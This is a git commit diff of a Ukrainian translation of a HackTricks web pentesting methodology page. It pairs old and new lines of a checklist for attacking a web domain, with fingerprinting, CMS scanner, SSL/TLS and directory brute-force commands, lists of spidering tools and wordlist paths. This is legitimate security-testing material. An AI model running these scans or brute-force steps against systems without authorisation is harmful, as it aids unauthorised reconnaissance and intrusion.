Translated ['src/pentesting-web/command-injection.md', 'src/pentesting-w

This commit is contained in:
Translator 2025-08-28 14:22:04 +00:00
parent 5e42ed1dea
commit cff8223bf5
5 changed files with 310 additions and 192 deletions

View File

@ -432,6 +432,7 @@
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
- [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
- [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)

View File

@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Info
## Основна інформація
Веб-сервіс є найпоширенішим та найобширнішим сервісом, і існує багато різних типів вразливостей.
Веб-сервіс є най**поширенішим та наймасштабнішим сервісом**, і існує багато **різних типів вразливостей**.
**Default port:** 80 (HTTP), 443(HTTPS)
**Порт за замовчуванням:** 80 (HTTP), 443 (HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -17,55 +17,55 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### Web API Guidance
### Керівництво з Web API
{{#ref}}
web-api-pentesting.md
{{#endref}}
## Методологія
## Зведення методології
> У цій методології ми будемо припускати, що ви будете атакувати домен (або піддомен) і тільки його. Тому ви повинні застосовувати цю методологію до кожного виявленого домену, піддомену або IP з невизначеним веб-сервером у межах обсягу.
> У цій методології ми припускаємо, що ви збираєтесь атакувати один домен (або піддомен) і лише його. Отже, цю методологію слід застосувати до кожного виявленого домену, піддомену або IP з невизначеним веб‑сервером у межах обсягу тестування.
- [ ] Почніть з **ідентифікації** **технологій**, що використовуються веб-сервером. Шукайте **поради**, які слід пам'ятати під час решти тесту, якщо вам вдасться успішно ідентифікувати технологію.
- [ ] Чи є якісь **відомі вразливості** версії технології?
- [ ] Використовується якась **відомий технології**? Якась **корисна порада** для отримання додаткової інформації?
- [ ] Чи є якийсь **спеціалізований сканер** для запуску (наприклад, wpscan)?
- [ ] Запустіть **сканери загального призначення**. Ви ніколи не знаєте, чи знайдуть вони щось або чи знайдуть якусь цікаву інформацію.
- [ ] Розпочніть з **початкових перевірок**: **robots**, **sitemap**, **404** помилка та **сканування SSL/TLS** (якщо HTTPS).
- [ ] Розпочніть **павукоподібне** сканування веб-сторінки: час **знайти** всі можливі **файли, папки** та **параметри, що використовуються.** Також перевірте на **особливі знахідки**.
- [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід просканувати._
- [ ] **Брутфорсинг каталогів**: спробуйте брутфорсити всі виявлені папки, шукаючи нові **файли** та **каталоги**.
- [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід брутфорсити._
- [ ] **Перевірка резервних копій**: перевірте, чи можете ви знайти **резервні копії** **виявлених файлів**, додаючи загальні розширення резервних копій.
- [ ] **Брутфорсинг параметрів**: спробуйте **знайти приховані параметри**.
- [ ] Як тільки ви **ідентифікували** всі можливі **кінцеві точки**, що приймають **введення користувача**, перевірте на всі види **вразливостей**, пов'язаних з цим.
- [ ] [Слідуйте цьому контрольному списку](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] Почніть з **виявлення** **технологій**, що використовуються веб‑сервером. Шукайте **трюки**, які слід врахувати протягом решти тесту, якщо вам вдасться ідентифікувати технологію.
- [ ] Чи є відомі **вразливості** для поточної версії цієї технології?
- [ ] Використовується відома технологія? Є якісь **корисні трюки** для витягнення додаткової інформації?
- [ ] Чи є спеціалізований сканер для запуску (наприклад, wpscan)?
- [ ] Запустіть сканери загального призначення. Ніколи не знаєш, чи знайдуть вони щось або якусь цікаву інформацію.
- [ ] Почніть з **початкових перевірок**: **robots**, **sitemap**, помилка **404** та **SSL/TLS scan** (якщо HTTPS).
- [ ] Почніть **spidering** сторінки: час **знайти** всі можливі **файли, папки** та **параметри**, що використовуються. Також перевірте на наявність **особливих знахідок**.
- [ ] _Примітка: щоразу, коли під час brute-forcing або spidering виявляється новий каталог, його слід просканувати._
- [ ] **Directory Brute-Forcing**: спробуйте brute-force всі виявлені папки в пошуках нових **файлів** та **директорій**.
- [ ] _Примітка: щоразу, коли під час brute-forcing або spidering виявляється новий каталог, його слід brute-forced._
- [ ] **Backups checking**: перевірте, чи можна знайти **резервні копії** виявлених файлів, додаючи поширені розширення для бекапу.
- [ ] **Brute-Force parameters**: спробуйте **знайти приховані параметри**.
- [ ] Після того як ви **виявили** всі можливі **endpoints**, які приймають **user input**, перевірте всі типи **vulnerabilities**, пов’язані з ними.
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## Версія сервера (вразлива?)
## Server Version (Vulnerable?)
### Ідентифікація
Перевірте, чи є **відомі вразливості** для версії сервера, що працює.\
**HTTP заголовки та куки відповіді** можуть бути дуже корисними для **ідентифікації** **технологій** та/або **версії**, що використовуються. **Сканування Nmap** може ідентифікувати версію сервера, але також можуть бути корисні інструменти [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)або [**https://builtwith.com/**](https://builtwith.com)**:**
Перевірте, чи існують **відомі вразливості** для тієї **версії** сервера, що працює.\
**HTTP headers** та **cookies** у відповіді можуть дуже допомогти в **ідентифікації** **технологій** та/або **версії**, що використовуються. **Nmap scan** може визначити версію сервера, але також можуть бути корисні інструменти [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) або [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Search **for** [**вразливості веб-додатку** **версії**](../../generic-hacking/search-exploits.md)
Шукайте **для** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **Перевірте, чи є WAF**
### **Перевірте наявність WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### Трюки веб-технологій
### Трюки для Web-технологій
Декілька **трюків** для **пошуку вразливостей** у різних відомих **технологіях**:
Деякі **трюки** для **пошуку вразливостей** у різних добре відомих **технологіях**, що використовуються:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -78,6 +78,7 @@ Search **for** [**вразливості веб-додатку** **версії*
- [**Golang**](golang.md)
- [**GraphQL**](graphql.md)
- [**H2 - Java SQL database**](h2-java-sql-database.md)
- [**ISPConfig**](ispconfig.md)
- [**IIS tricks**](iis-internet-information-services.md)
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
- [**JBOSS**](jboss.md)
@ -88,7 +89,7 @@ Search **for** [**вразливості веб-додатку** **версії*
- [**Laravel**](laravel.md)
- [**Moodle**](moodle.md)
- [**Nginx**](nginx.md)
- [**PHP (php має багато цікавих трюків, які можуть бути використані)**](php-tricks-esp/index.html)
- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
- [**Python**](python.md)
- [**Spring Actuators**](spring-actuators.md)
- [**Symphony**](symphony.md)
@ -98,30 +99,29 @@ Search **for** [**вразливості веб-додатку** **версії*
- [**WebDav**](put-method-webdav.md)
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS до RCE)**](electron-desktop-apps/index.html)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_Зверніть увагу, що **один і той же домен** може використовувати **різні технології** на різних **портах**, **папках** та **піддоменах**._\
Якщо веб-додаток використовує будь-яку відому **технологію/платформу, зазначену раніше**, або **будь-яку іншу**, не забудьте **пошукати в Інтернеті** нові трюки (і дайте мені знати!).
_Майте на увазі, що **той самий домен** може використовувати **різні технології** на різних **портах**, **папках** та **субдоменах**._\
Якщо веб‑додаток використовує будь‑яку відому **tech/platform listed before** або **any other**, не забудьте **search on the Internet** нові трюки (і повідомте мені!).
### Огляд вихідного коду
Якщо **вихідний код** програми доступний на **github**, окрім проведення **власного тесту White box** програми, є **деяка інформація**, яка може бути **корисною** для поточного **Black-Box тестування**:
- Чи є **Change-log або Readme або Version** файл або щось з **інформацією про версію**, доступне через веб?
- Як і де зберігаються **облікові дані**? Чи є якийсь (доступний?) **файл** з обліковими даними (іменами користувачів або паролями)?
- Чи є **паролі** у **звичайному тексті**, **зашифровані** або який **алгоритм хешування** використовується?
- Чи використовується якийсь **майстер-ключ** для шифрування чогось? Який **алгоритм** використовується?
- Чи можете ви **отримати доступ до будь-яких з цих файлів**, експлуатуючи якусь вразливість?
- Чи є якась **цікава інформація в github** (вирішені та невирішені) **проблеми**? Або в **історії комітів** (можливо, якийсь **пароль, введений у старому коміті**)?
Якщо **source code** додатку доступний у **github**, окрім проведення вами **White box test** додатку, існує **деяка інформація**, яка може бути **корисною** для поточного **Black-Box testing**:
- Чи є **Change-log або Readme або Version** файл чи будь-який інший файл з **інформацією про версію**, доступний через веб?
- Як і де зберігаються **credentials**? Чи існує якийсь (доступний?) **file** з credentials (usernames або passwords)?
- Чи **passwords** збережені у **plain text**, **encrypted**, або який **hashing algorithm** використовується?
- Чи використовується якийсь **master key** для шифрування чогось? Який **algorithm** використовується?
- Чи можете ви **access any of these files**, використовуючи якусь вразливість?
- Чи є якась **interesting information in the github** (вирішені чи невирішені) **issues**? Або в **commit history** (можливо якийсь **password introduced inside an old commit**)?
{{#ref}}
code-review-tools.md
{{#endref}}
### Автоматичні сканери
### Automatic scanners
#### Автоматичні сканери загального призначення
#### General purpose automatic scanners
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -133,12 +133,12 @@ nuclei -ut && nuclei -target <URL>
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
```
#### CMS сканери
#### CMS-сканери
Якщо використовується CMS, не забудьте **запустити сканер**, можливо, буде знайдено щось цікаве:
Якщо використовується CMS, не забувайте **запустити сканер**, можливо знайдеться щось цікаве:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** вебсайти на предмет проблем безпеки. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** сайти на предмет проблем із безпекою. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **або** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -148,45 +148,45 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> На цьому етапі ви вже повинні мати деяку інформацію про веб-сервер, що використовується клієнтом (якщо надані дані) та деякі хитрощі, які слід пам'ятати під час тестування. Якщо вам пощастить, ви навіть знайшли CMS і запустили сканер.
> На цьому етапі у вас уже має бути певна інформація про web server, що використовує клієнт (якщо надано будь‑які дані), і деякі прийоми, які варто пам'ятати під час тестування. Якщо пощастило, ви навіть знайшли CMS і запустили scanner.
## Покрокове виявлення веб-додатків
## Покрокове виявлення веб-застосунку
> З цього моменту ми почнемо взаємодіяти з веб-додатком.
> З цього моменту ми почнемо взаємодію з веб-застосунком.
### Початкові перевірки
**За замовчуванням сторінки з цікавою інформацією:**
**Сторінки за замовчуванням з цікавою інформацією:**
- /robots.txt
- /sitemap.xml
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- Також перевірте коментарі на основних та вторинних сторінках.
- Перевірте також коментарі на головних і другорядних сторінках.
**Примус помилок**
**Примусове викликання помилок**
Веб-сервери можуть **поводитися несподівано**, коли їм надсилаються дивні дані. Це може відкрити **вразливості** або **розкрити чутливу інформацію**.
Web servers можуть **поводитись непередбачувано**, коли їм надсилають дивні дані. Це може відкрити **vulnerabilities** або призвести до розкриття конфіденційної інформації.
- Доступ до **фальшивих сторінок** на кшталт /whatever_fake.php (.aspx,.html,.тощо)
- **Додайте "\[]", "]]" та "\[\["** у **значення cookie** та **значення параметрів**, щоб створити помилки
- Генеруйте помилку, вводячи **`/~randomthing/%s`** в **кінці** **URL**
- Спробуйте **різні HTTP методи** такі як PATCH, DEBUG або неправильні, як FAKE
- Доступ до **fake pages** типу /whatever_fake.php (.aspx,.html,.etc)
- **Add "\[]", "]]", and "\[\["** у значення cookie та значення параметрів, щоб спричинити помилки
- Згенеруйте помилку, передавши як вхід **`/~randomthing/%s`** в кінці **URL**
- Спробуйте **different HTTP Verbs** типу PATCH, DEBUG або некоректні, як FAKE
#### **Перевірте, чи можете ви завантажувати файли (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
#### **Перевірте, чи можете завантажувати файли (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
Якщо ви виявили, що **WebDav** **увімкнено**, але у вас недостатньо прав для **завантаження файлів** у кореневу папку, спробуйте:
Якщо ви виявите, що **WebDav** увімкнено, але у вас недостатньо прав для **uploading files** в кореневій папці, спробуйте:
- **Брутфорс** облікові дані
- **Завантажити файли** через WebDav у **інші** **знайдені папки** на веб-сторінці. У вас можуть бути права на завантаження файлів в інших папках.
- **Brute Force** credentials
- **Upload files** через WebDav у інші знайдені папки на сайті. Можливо, у вас є дозволи на завантаження файлів у інших папках.
### **Вразливості SSL/TLS**
### **Уразливості SSL/TLS**
- Якщо додаток **не примушує користувача використовувати HTTPS** в будь-якій частині, то він **вразливий до MitM**
- Якщо додаток **надсилає чутливі дані (паролі) за допомогою HTTP**. Тоді це висока вразливість.
- Якщо застосунок **не вимагає HTTPS** в жодній частині, то він вразливий до MitM
- Якщо застосунок **відправляє чутливі дані (паролі) через HTTP**, це серйозна вразливість.
Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки **вразливостей** (в програмах Bug Bounty, ймовірно, такі вразливості не будуть прийняті) і використовуйте [**a2sv**](https://github.com/hahwul/a2sv) для повторної перевірки вразливостей:
Використовуйте [**testssl.sh**](https://github.com/drwetter/testssl.sh) для перевірки SSL/TLS на **вразливості** (у Bug Bounty програмах такі вразливості, ймовірно, не будуть прийняті) та використайте [**a2sv**](https://github.com/hahwul/a2sv) для повторної перевірки.
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -202,56 +202,56 @@ sslyze --regular <ip:port>
### Spidering
Запустіть якийсь **spider** всередині вебу. Мета spider'а - **знайти якомога більше шляхів** з протестованого додатку. Тому слід використовувати веб-краулінг та зовнішні джерела, щоб знайти якомога більше дійсних шляхів.
Запустіть якийсь вид **spider** всередині веб-додатку. Мета spider — **знайти якомога більше шляхів** у тестованому застосунку. Тому для збору великої кількості валідних шляхів слід використовувати web crawling та зовнішні джерела.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS файлах та зовнішніх джерелах (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFinder для JS файлів та Archive.org як зовнішнє джерело.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, також вказує на "соковиті файли".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Інтерактивний CLI HTML spider. Він також шукає в Archive.org.
- [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider'ом, але може бути корисним. Ви можете просто вказати файл з хостами та файл з шляхами, і meg отримає кожен шлях на кожному хості та збере відповідь.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider з можливостями рендерингу JS. Однак, виглядає так, що він не підтримується, попередньо скомпільована версія стара, а поточний код не компілюється.
- [**gau**](https://github.com/lc/gau) (go): HTML spider, який використовує зовнішні постачальники (wayback, otx, commoncrawl).
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Цей скрипт знайде URL з параметрами та виведе їх.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider з можливостями рендерингу JS.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, з можливостями beautify для JS, здатний шукати нові шляхи в JS файлах. Також варто звернути увагу на [JSScanner](https://github.com/dark-warlord14/JSScanner), який є обгорткою для LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Для витягування кінцевих точок як з HTML джерела, так і з вбудованих javascript файлів. Корисно для шукачів помилок, червоних команд, інфосек ніндзя.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Скрипт python 2.7, що використовує Tornado та JSBeautifier для парсингу відносних URL з JavaScript файлів. Корисно для легкого виявлення AJAX запитів. Виглядає так, що не підтримується.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Даний файл (HTML) витягне URL з нього, використовуючи зручні регулярні вирази для знаходження та витягування відносних URL з непривабливих (мінімізованих) файлів.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, кілька інструментів): Збирає цікаву інформацію з JS файлів, використовуючи кілька інструментів.
- [**subjs**](https://github.com/lc/subjs) (go): Знаходить JS файли.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Завантажує сторінку в безголовому браузері та виводить всі URL, завантажені для завантаження сторінки.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Інструмент для виявлення вмісту, що поєднує кілька опцій попередніх інструментів.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Розширення Burp для знаходження шляхів та параметрів у JS файлах.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Інструмент, який, отримавши URL .js.map, надасть вам beautified JS код.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Це інструмент, що використовується для виявлення кінцевих точок для заданої цілі.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Виявляє посилання з wayback machine (також завантажуючи відповіді в wayback та шукаючи більше посилань).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Краулінг (навіть заповнюючи форми) та також знаходить чутливу інформацію, використовуючи специфічні regex.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite - це розширений багатофункціональний GUI веб-безпековий краулер/spider, розроблений для фахівців з кібербезпеки.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Це пакет Go та [інструмент командного рядка](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) для витягування URL, шляхів, секретів та інших цікавих даних з вихідного коду JavaScript.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge - це просте **розширення Burp Suite** для **витягування параметрів та кінцевих точок** з запиту для створення користувацького списку слів для фуззингу та перерахунку.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Чудовий інструмент для цього.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Друкує кожне посилання, яке може знайти.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS-файлах та зовнішні джерела (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFider для JS-файлів та Archive.org як зовнішнє джерело.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, також вказує на "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Інтерактивний CLI HTML spider. Також шукає в Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider-ом, але може бути корисним. Ви можете вказати файл з hosts і файл з paths, і meg звантажить кожен path для кожного host та збереже відповіді.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider з можливістю рендерингу JS. Однак, схоже, що проект не підтримується, попередньо скомпільована версія стара і поточний код не компілюється
- [**gau**](https://github.com/lc/gau) (go): HTML spider, що використовує зовнішніх провайдерів (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Скрипт, що знайде URL-адреси з параметрами і перелічить їх.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider з можливістю рендерингу JS.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider з можливістю JS beautify, здатний шукати нові шляхи в JS-файлах. Також варто глянути на [JSScanner](https://github.com/dark-warlord14/JSScanner), який є wrapper-ом LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Для витягання endpoints в HTML-коді та вбудованих javascript-файлах. Корисно для bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 скрипт, що використовує Tornado і JSBeautifier для парсингу відносних URL з JavaScript-файлів. Корисно для швидкого виявлення AJAX-запитів. Схоже, що не підтримується.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Приймає файл (HTML) і витягує URL з нього, використовуючи корисні регулярні вирази для знаходження і витягання відносних URL з "уродливих" (minify) файлів.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Збирає цікаву інформацію з JS-файлів, використовуючи кілька інструментів.
- [**subjs**](https://github.com/lc/subjs) (go): Знаходить JS-файли.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Завантажує сторінку в headless browser і виводить всі URL, які були підвантажені для відображення сторінки.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Інструмент для discovery контенту, що поєднує кілька опцій попередніх інструментів
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Розширення для Burp для пошуку шляхів і параметрів у JS-файлах.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Інструмент, який, маючи URL .js.map, дає вам beautified JS-код
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Інструмент для виявлення endpoints для заданого таргету.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Виявляє посилання з wayback machine (також завантажує відповіді з wayback і шукає більше посилань)
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Краулер (навіть заповнюючи форми) і також знаходить чутливу інформацію за допомогою специфічних regex-ів.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite — просунутий багатофункціональний GUI web security Crawler/Spider для фахівців з кібербезпеки.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Go-пакет і [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) для витягання URL, шляхів, секретів та іншої цікавої інформації з JavaScript-коду.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge — просте **Burp Suite extension** для **витягання параметрів та endpoints** з запитів для створення кастомних wordlist-ів для fuzzing та enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Відмінний інструмент для цього.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Друкує всі посилання, які йому вдається знайти.
### Brute Force каталоги та файли
### Brute Force directories and files
Почніть **brute-forcing** з кореневої папки та переконайтеся, що ви brute-force **всі** **знайдені каталоги**, використовуючи **цей метод** та всі каталоги, **виявлені** за допомогою **Spidering** (ви можете виконати цей brute-forcing **рекурсивно** та додати на початку використаного списку слів назви знайдених каталогів).\
Почніть **brute-forcing** з кореневої теки і переконайтесь, що ви brute-force-ите **всі** **знайдені директорії** за **цією методою** і всі директорії, **виявлені** під час **Spidering** (ви можете виконувати brute-forcing **рекурсивно**, додаючи на початок вживаного wordlist-у імена знайдених директорій).\
Інструменти:
- **Dirb** / **Dirbuster** - Включено в Kali, **старий** (і **повільний**), але функціональний. Дозволяє авто-підписані сертифікати та рекурсивний пошук. Занадто повільний у порівнянні з іншими варіантами.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Не дозволяє авто-підписані сертифікати, але** дозволяє рекурсивний пошук.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Дозволяє авто-підписані сертифікати, **не має** **рекурсивного** пошуку.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Швидкий, підтримує рекурсивний пошук.**
- **Dirb** / **Dirbuster** - Включені в Kali, **старі** (і **повільні**), але працездатні. Дозволяють auto-signed certificates та рекурсивний пошук. Занадто повільні в порівнянні з іншими опціями.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Не дозволяє auto-signed certificates але** підтримує рекурсивний пошук.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Дозволяє auto-signed certificates, але **не** має **рекурсивного** пошуку.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Швидкий: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Це не spider, а інструмент, який, отримавши список знайдених URL, видалить "дубльовані" URL.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Розширення Burp для створення списку каталогів з історії burp різних сторінок.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Видаляє URL з дублікатами функціональностей (на основі js імпортів).
- [**Chamaleon**](https://github.com/iustin24/chameleon): Використовує wapalyzer для виявлення використовуваних технологій та вибору списків слів для використання.
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): Це не spider, але інструмент, який, маючи список знайдених URL-ів, видалить "дублікати" URL-ів.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension для створення списку директорій з burp history різних сторінок
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Видаляє URL-и з дубльованим функціоналом (на основі js imports)
- [**Chamaleon**](https://github.com/iustin24/chameleon): Використовує wapalyzer для визначення використовуваних технологій і підбору словників для використання.
**Рекомендовані словники:**
Рекомендовані словники:
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** включений словник](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
- [Assetnote wordlists](https://wordlists.assetnote.io)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
@ -267,43 +267,43 @@ sslyze --regular <ip:port>
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється новий каталог, його слід Brute-Forced._
_Зверніть увагу, що щоразу, коли під час brute-forcing або spidering знаходиться нова директорія, її слід Brute-Force-ити._
### Що перевірити в кожному знайденому файлі
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Знайти зламані посилання всередині HTML, які можуть бути схильні до захоплення.
- **Резервні копії файлів**: Після того, як ви знайшли всі файли, шукайте резервні копії всіх виконуваних файлів ("_.php_", "_.aspx_"...). Загальні варіації для назви резервної копії: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp та file.old._ Ви також можете використовувати інструмент [**bfac**](https://github.com/mazen160/bfac) **або** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Виявлення нових параметрів**: Ви можете використовувати інструменти, такі як [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **та** [**Param Miner**](https://github.com/PortSwigger/param-miner) **для виявлення прихованих параметрів. Якщо зможете, спробуйте шукати** приховані параметри в кожному виконуваному веб-файлі.
- _Arjun всі стандартні списки слів:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Знаходить биті посилання в HTML, які можуть бути вразливими до takeover
